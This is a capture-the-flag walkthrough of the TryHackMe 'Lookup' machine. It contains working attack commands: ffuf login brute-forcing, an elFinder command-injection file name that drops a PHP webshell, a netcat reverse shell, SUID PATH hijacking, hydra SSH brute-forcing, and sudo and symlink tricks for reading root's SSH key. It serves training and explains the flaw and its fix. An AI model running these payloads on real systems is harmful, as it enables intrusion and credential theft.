TryHackMe: Lookup
Lookup started with brute-forcing a login form to discover a set of credentials. Using these credentials to log in, we found a virtual host (vhost) with an elFinder installation. By exploiting a command injection vulnerability in elFinder, we managed to get a shell on the machine. Then, by abusing PATH hijacking to manipulate the behavior of an SUID binary, we obtained a list of passwords. Testing them against the SSH service, we discovered another set of credentials and used SSH to gain a shell as a different user. As this user, we leveraged our sudo privileges to read the private SSH key of the root user and used it to gain a shell as root.
Initial Enumeration
Nmap Scan
As usual, we start with an nmap
scan.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.150.247
Nmap scan report for 10.10.150.247
Host is up (0.082s latency).
Not shown: 65496 closed tcp ports (reset), 37 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| 256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_ 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://lookup.thm
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
There are two open ports:
- 22 (
SSH
) - 80 (
HTTP
)
Web 80
Nmap
already informs us that port 80 redirects to http://lookup.thm
, so we add it to our hosts file.
1
10.10.150.247 lookup.thm
Visiting http://lookup.thm
, we are presented with a login form.
Shell as www-data
Brute-forcing the Credentials
Testing the form with random credentials, we receive the Wrong username or password.
error and are redirected back to the form.
Trying a couple of common usernames, we get an interesting result when using admin
as the username. Instead of the previous error, we receive the Wrong password.
message.
It seems the application returns different error messages for valid and invalid usernames. We can use this to enumerate valid users with ffuf
.
1
2
3
4
$ ffuf -u 'http://lookup.thm/login.php' -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d 'username=FUZZ&password=test' -w /usr/share/seclists/Usernames/Names/names.txt -mc all -ic -fs 74 -t 100
...
admin [Status: 200, Size: 62, Words: 8, Lines: 1, Duration: 90ms]
jose [Status: 200, Size: 62, Words: 8, Lines: 1, Duration: 132ms]
With this, we discover two valid users: admin
and jose
.
Brute-forcing the password for the jose
user with ffuf
, we manage to discover the password for the user.
1
2
3
$ ffuf -u 'http://lookup.thm/login.php' -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d 'username=jose&password=FUZZ' -w /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt -mc all -ic -fs 62 -t 100
pa[REDACTED]23 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 134ms]
Using the discovered credentials to log in through the form at http://lookup.thm/
, we are redirected to http://files.lookup.thm/
.
Adding it to the hosts file as well.
1
10.10.150.247 lookup.thm files.lookup.thm
elFinder Command Injection
Visiting http://files.lookup.thm/
, we are redirected to http://files.lookup.thm/elFinder/elfinder.html
, where we find an elFinder installation.
Clicking the About this software
button, we discover that the application version is 2.1.47.
Looking for vulnerabilities in elFinder 2.1.47, we find CVE-2019-9194, a command injection vulnerability.
There is a detailed advisory published by Synacktiv that explains the vulnerability, which I recommend checking out.
Basically, elFinder not only allows us to upload images but also perform operations on the uploaded images, such as resizing or rotating them.
The application uses the exiftran
program to perform the rotate
operation, and the vulnerability lies in how it calls this program.
This is the vulnerable code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
protected function imgRotate($path, $degree, $bgcolor = '#ffffff', $destformat = null, $jpgQuality = null) {
[...]
// Try lossless rotate
if ($degree % 90 === 0 && in_array($s[2], array(IMAGETYPE_JPEG, IMAGETYPE_JPEG2000))) {
$count = ($degree / 90) % 4;
[...]
$quotedPath = escapeshellarg($path);
$cmds = array();
if ($this->procExec(ELFINDER_EXIFTRAN_PATH . ' -h') === 0) {
$cmds[] = ELFINDER_EXIFTRAN_PATH . ' -i ' . $exiftran[$count] . ' ' . $path;
}
if ($this->procExec(ELFINDER_JPEGTRAN_PATH . ' -version') === 0) {
$cmds[] = ELFINDER_JPEGTRAN_PATH . ' -rotate ' . $jpegtran[$count] . ' -copy all -outfile ' . $quotedPath . ' ' . $quotedPath;
}
// Execute commands
foreach ($cmds as $cmd) {
if ($this->procExec($cmd) === 0) {
$result = true;
break;
}
}
if ($result) {
return $path;
}
}
}
As we can see from the vulnerable code snippet, it first uses escapeshellarg
with the image path to escape malicious characters, saving the escaped string in the quotedPath
parameter. Then, it checks if the exiftran
program exists by running exiftran -h
and checking the exit code. If the program exists, it builds the command to run as:
1
ELFINDER_EXIFTRAN_PATH . ' -i ' . $exiftran[$count] . ' ' . $path
This command is then passed to the procExec
function, which executes it using sh
.
The issue arises because, when building the command, it uses the unescaped path variable ($path
) instead of the escaped path variable ($quotedPath
) and since we can control the image name (and thus the path variable), this allows us to inject commands.
We can also see how the fix for the vulnerability was implemented by checking the commit 374c88d7030eb92749267e17a4af21cc7520efa5.
As we can see from the commit, they switched to using the escaped $quotedPath
argument while building the command to run, preventing the command injection. They also included --
before the file name to signal to exiftran
that anything after that is the file to operate on, thus preventing argument injection.
Now that we have detailed information about the vulnerability, we can move on to exploiting it.
To do this, we will first upload a regular JPEG
image to elFinder.
Next, we will rename our image as $(<payload>).jpg
. This is because we know that our file name will be passed to the sh
process via procExec
, and $()
is used for command substitution in sh
. It will first execute the command inside $()
and then replace it with the output of that command before running the actual command.
For example, we can see this in action as follows:
1
2
$ echo "Whoami: $(whoami)"
Whoami: kali
As shown in the example, sh
runs the command inside $()
first, which is whoami
, and outputs kali
. It then replaces the $()
with the output of the command and executes the actual command as echo "Whoami: kali"
. So, by the same logic, by naming our file $(<payload>).jpg
, we make it execute our payload before the exiftran
command.
For our payload, we will create one that writes a PHP
webshell to the system.
To avoid any special characters in our payload, we will send the contents of our webshell in hex-encoded format.
1
2
$ echo '<?php system($_GET["c"]); ?>' | xxd -p
3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a
So, our final payload for the file name will be:
1
$(echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > shell.php).jpg
This payload will echo
the hex-encoded PHP
webshell and pipe it to xxd
, which will decode it. We then use > shell.php
to write the decoded output to a shell.php
file on the server.
Now, let’s rename our image with the payload.
After renaming the file, we can right-click on the image (with the name set to our payload) and select the Resize & Rotate
option.
Now, all we have to do is select the Rotate
option, rotate the image, and click the Apply
button.
After that, we will see an error message indicating the rotate option failed, since our command will return nothing. It will attempt to run the exiftran
command as such, and that will cause an error since the ".jpg"
file does not exist.
1
exiftran -i -9 [...]/elFinder/files/.jpg
However, this means we were successful, and our payload has been executed.
We can confirm this by making a request to our webshell at http://files.lookup.thm/elFinder/php/shell.php
, and we are successful at executing commands.
1
2
$ curl -s 'http://files.lookup.thm/elFinder/php/shell.php?c=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Sending a reverse shell payload using curl
.
1
$ curl -s 'http://files.lookup.thm/elFinder/php/shell.php' --get --data-urlencode 'c=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.11.72.22 443 >/tmp/f'
With that, we got a shell in our listener, and after stabilizing it, we can see that it is as the www-data
user.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.11.72.22] from (UNKNOWN) [10.10.150.247] 58106
sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash");'
www-data@lookup:/var/www/files.lookup.thm/public_html/elFinder/php$ export TERM=xterm
<kup.thm/public_html/elFinder/php$ export TERM=xterm
www-data@lookup:/var/www/files.lookup.thm/public_html/elFinder/php$ ^Z
zsh: suspended nc -lvnp 443
$ stty raw -echo; fg
[2] - continued nc -lvnp 443
www-data@lookup:/var/www/files.lookup.thm/public_html/elFinder/php$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Shell as think
Reverse-engineering the SUID Binary
Checking the machine for any binaries with the suid
bit set, we find the /usr/sbin/pwm
binary.
1
2
3
4
www-data@lookup:/var/www$ find / -perm -u=s 2>/dev/null
...
/usr/sbin/pwm
...
Running it, the binary claims to be running the id
command to find the username, then attempts to open the /home/<username>/.passwords
file. In our case, it fails because the /home/www-data/.passwords
file does not exist.
1
2
3
4
www-data@lookup:/var/www$ /usr/sbin/pwm
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: www-data
[-] File /home/www-data/.passwords not found
But checking the /home/think/
, we find that the .passwords
file exists there. Therefore, we might be able to use the pwm
binary to read this file and discover the password for the think
user.
1
2
3
4
www-data@lookup:/var/www$ ls -la /home/think/
...
-rw-r----- 1 root think 525 Jul 30 2023 .passwords
...
First, let’s download the pwm
binary so we can reverse engineer it. To do this, we can simply copy it to one of the web application’s directories and download it from the web server.
1
2
3
www-data@lookup:/var/www$ cp /usr/sbin/pwm /var/www/lookup.thm/public_html/pwm
$ wget http://lookup.thm/pwm
Opening it in Ghidra
and checking the main
function, we can get a decompilation as follows:
The application is fairly simple:
- First, it prints the message we saw about running the
id
command.
1
puts("[!] Running \'id\' command to extract the username and user ID (UID)");
- Then, it copies the
"id"
string to thelocal_e8
variable and runs it by passing it to thepopen
function.
1
2
snprintf(local_e8,100,"id");
pFVar2 = popen(local_e8,"r");
- If it fails to run the command, it prints an error message and exits.
1
2
3
4
if (pFVar2 == (FILE *)0x0) {
perror("[-] Error executing id command\n");
uVar3 = 1;
}
- If it was successful, then it tries to extract the username from the output of the
id
command withuid=%*u(%[^)])
and saves it in thelocal_128
parameter. The formatuid=%*u(%[^)])
means it looks for a string starting withuid=
, followed by an unsigned integer, and then captures everything inside the parentheses, excluding the closing parenthesis. For example, with the output of theid
command beinguid=33(www-data) gid=33(www-data) groups=33(www-data)
, thelocal_128
parameter would bewww-data
. If it can’t extract the username, it prints an error message and exits.
1
2
3
4
5
6
7
8
iVar1 = __isoc99_fscanf(pFVar2,"uid=%*u(%[^)])",local_128);
if (iVar1 == 1) {
...
}
else {
perror("[-] Error reading username from id command\n");
uVar3 = 1;
}
- After that, it prints the extracted username, builds the string
/home/<username>/.passwords
, and tries to open it as a file. If it fails, it prints an error message and exits. If it successfully opens the file, it prints the contents of the file character by character.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
printf("[!] ID: %s\n",local_128);
pclose(pFVar2);
snprintf(local_78,100,"/home/%s/.passwords",local_128);
pFVar2 = fopen(local_78,"r");
if (pFVar2 == (FILE *)0x0) {
printf("[-] File /home/%s/.passwords not found\n",local_128);
uVar3 = 0;
}
else {
while( true ) {
iVar1 = fgetc(pFVar2);
if ((char)iVar1 == -1) break;
putchar((int)(char)iVar1);
}
fclose(pFVar2);
uVar3 = 0;
}
Path Hijacking
The problem with the binary is that it runs the id
command with a relative path, which allows us to hijack it by manipulating the PATH
environment variable.
When we run a program without an absolute path, Linux tries to find the path to the executable by utilizing the value of the PATH
environment variable.
We can see the value of the PATH
variable as follows:
1
2
www-data@lookup:/var/www$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
So, for example, when we run the id
command, it starts from the left and checks each directory in the PATH
variable for the id
executable. If it finds it in a directory, it runs that executable.
The thing is, we are able to modify the value of the PATH
variable. What we can do is create an executable named id
, in this case, a bash script that outputs uid=33(think) gid=33(www-data) groups=33(www-data)
in /tmp
, and make it executable by everyone as follows:
1
2
www-data@lookup:/tmp$ echo -e '#!/bin/bash\necho "uid=33(think) gid=33(www-data) groups=33(www-data)"' > /tmp/id
www-data@lookup:/tmp$ chmod 777 /tmp/id
Next, we can modify the PATH
variable to put /tmp
first, before any other directory, as such:
1
2
3
4
5
www-data@lookup:/tmp$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
www-data@lookup:/tmp$ export PATH=/tmp:$PATH
www-data@lookup:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
As we can see, now when we run the id
command, it executes /tmp/id
instead of /usr/bin/id
, and we get our modified output:
1
2
3
4
www-data@lookup:/tmp$ which id
/tmp/id
www-data@lookup:/tmp$ id
uid=33(think) gid=33(www-data) groups=33(www-data)
Now, we can run the /usr/sbin/pwm
binary, and due to the modified PATH
variable, it will also run /tmp/id
, get uid=33(think) gid=33(www-data) groups=33(www-data)
as the output of the id
command, extract the username as think
, and then print the contents of the /home/think/.passwords
file as follows:
1
2
3
4
5
6
www-data@lookup:/tmp$ /usr/sbin/pwm
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: think
jose1006
...
jose.2856171
Brute-forcing the Password
Now that we have a list of possible passwords for the think
user, we can use hydra
to test them against the SSH
service to see if any of them is valid.
1
2
3
4
$ hydra -l think -P passwords.txt ssh://lookup.thm
...
[22][ssh] host: lookup.thm login: think password: jo[REDACTED]k)
1 of 1 target successfully completed, 1 valid password found
Since we discovered a valid password, we can use SSH to obtain a shell as the think
user and read the user flag at /home/think/user.txt
.
1
2
3
4
$ ssh think@lookup.thm
...
think@lookup:~$ wc -c user.txt
33 user.txt
Shell as root
Sudo Privilege
Checking the sudo
privileges for the think
user, we can see that we are able to run the look
binary as root
.
1
2
3
4
5
6
7
think@lookup:~$ sudo -l
[sudo] password for think:
Matching Defaults entries for think on lookup:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User think may run the following commands on lookup:
(ALL) /usr/bin/look
The look
binary is similar to grep
in a sense that its main purpose is to search for lines in a file beginning with a specified string. If it finds any lines that start with the specified string, it prints them.
We can turn this into arbitrary file read by specifying the string to search as an empty string, which means every line in the file will match, and it will print the contents of the whole file. We can also see this method mentioned here in GTFOBins.
Using this method, we are successful at reading the private SSH key for the root
user as such:
1
2
3
4
5
6
think@lookup:~$ sudo /usr/bin/look '' /root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...
DgTNYOtefYf4OEpwAAABFyb290QHVidW50dXNlcnZlcg==
-----END OPENSSH PRIVATE KEY-----
We can save this private key in a file, set the correct permissions for it, and then use it with SSH to gain a shell as the root
user. From there, we can read the root flag at /root/root.txt
and complete the room.
1
2
3
4
5
6
$ chmod 600 id_rsa
$ ssh -i id_rsa root@lookup.thm
...
root@lookup:~# wc -c root.txt
33 root.txt
Unintended www-data to root
Looking back at how the /usr/sbin/pwm
binary works, we know that it extracts everything within parentheses for the uid
field in the output of the id
command as the username.
After that, it uses the extracted username without any filtering to build the filename to read and prints the contents of it.
So, what we can do is, instead of providing a username like think
(which builds the filename as /home/think/.passwords
), we can provide a directory traversal payload as the username to make it read the .passwords
file from any part of the filesystem. Additionally, we can make this .passwords
file a symlink to any file we want to read, achieving arbitrary file read.
To exploit this, let’s create our id
executable with a directory traversal payload as the username and modify our PATH
variable to hijack the actual id
command, as shown below:
1
2
3
4
5
6
7
www-data@lookup:/var/www/html$ echo -e '#!/bin/bash\necho "uid=33(../var/www/html) gid=33(www-data) groups=33(www-data)"' > /var/www/html/id
www-data@lookup:/var/www/html$ chmod 777 /var/www/html/id
www-data@lookup:/var/www/html$ export PATH=/var/www/html:$PATH
www-data@lookup:/var/www/html$ which id
/var/www/html/id
www-data@lookup:/var/www/html$ id
uid=33(../var/www/html) gid=33(www-data) groups=33(www-data)
We are using
/var/www/html
instead of/tmp
or/dev/shm
, becausefs.protected_symlinks
is enabled on the host. This means that anysymlink
created in a world-writable directory like/tmp
or/dev/shm
will not be followed. While we could still create theid
executable in those directories and only put thesymlink
in/var/www/html
, preparing everything in a single directory is simpler.
As we can see, now our id
command outputs:
uid=33(../var/www/html) gid=33(www-data) groups=33(www-data)
,
which means that the /usr/sbin/pwm
binary will extract ../var/www/html
as the username and build the file name as /home/../var/www/html/.passwords
.
Next, we can create /home/../var/www/html/.passwords
(/var/www/html/.passwords
) as a symlink pointing to any file we want to read as root
. For example, /root/.ssh/id_rsa
in our case, as follows:
1
2
3
www-data@lookup:/var/www/html$ ln -s /root/.ssh/id_rsa /var/www/html/.passwords
www-data@lookup:/var/www/html$ ls -la /var/www/html/.passwords
lrwxrwxrwx 1 www-data www-data 17 Nov 25 22:53 /var/www/html/.passwords -> /root/.ssh/id_rsa
Finally, running /usr/sbin/pwm
, we can see it works exactly as we anticipated, extracting the username as ../var/www/html
and printing the contents of /home/../var/www/html/.passwords
, which is a symlink to /root/.ssh/id_rsa
. This allows us to obtain the private SSH key of the root
user, which we can then use to gain a shell as root
.
1
2
3
4
5
6
7
8
www-data@lookup:/var/www/html$ /usr/sbin/pwm
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: ../var/www/html
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...
DgTNYOtefYf4OEpwAAABFyb290QHVidW50dXNlcnZlcg==
-----END OPENSSH PRIVATE KEY-----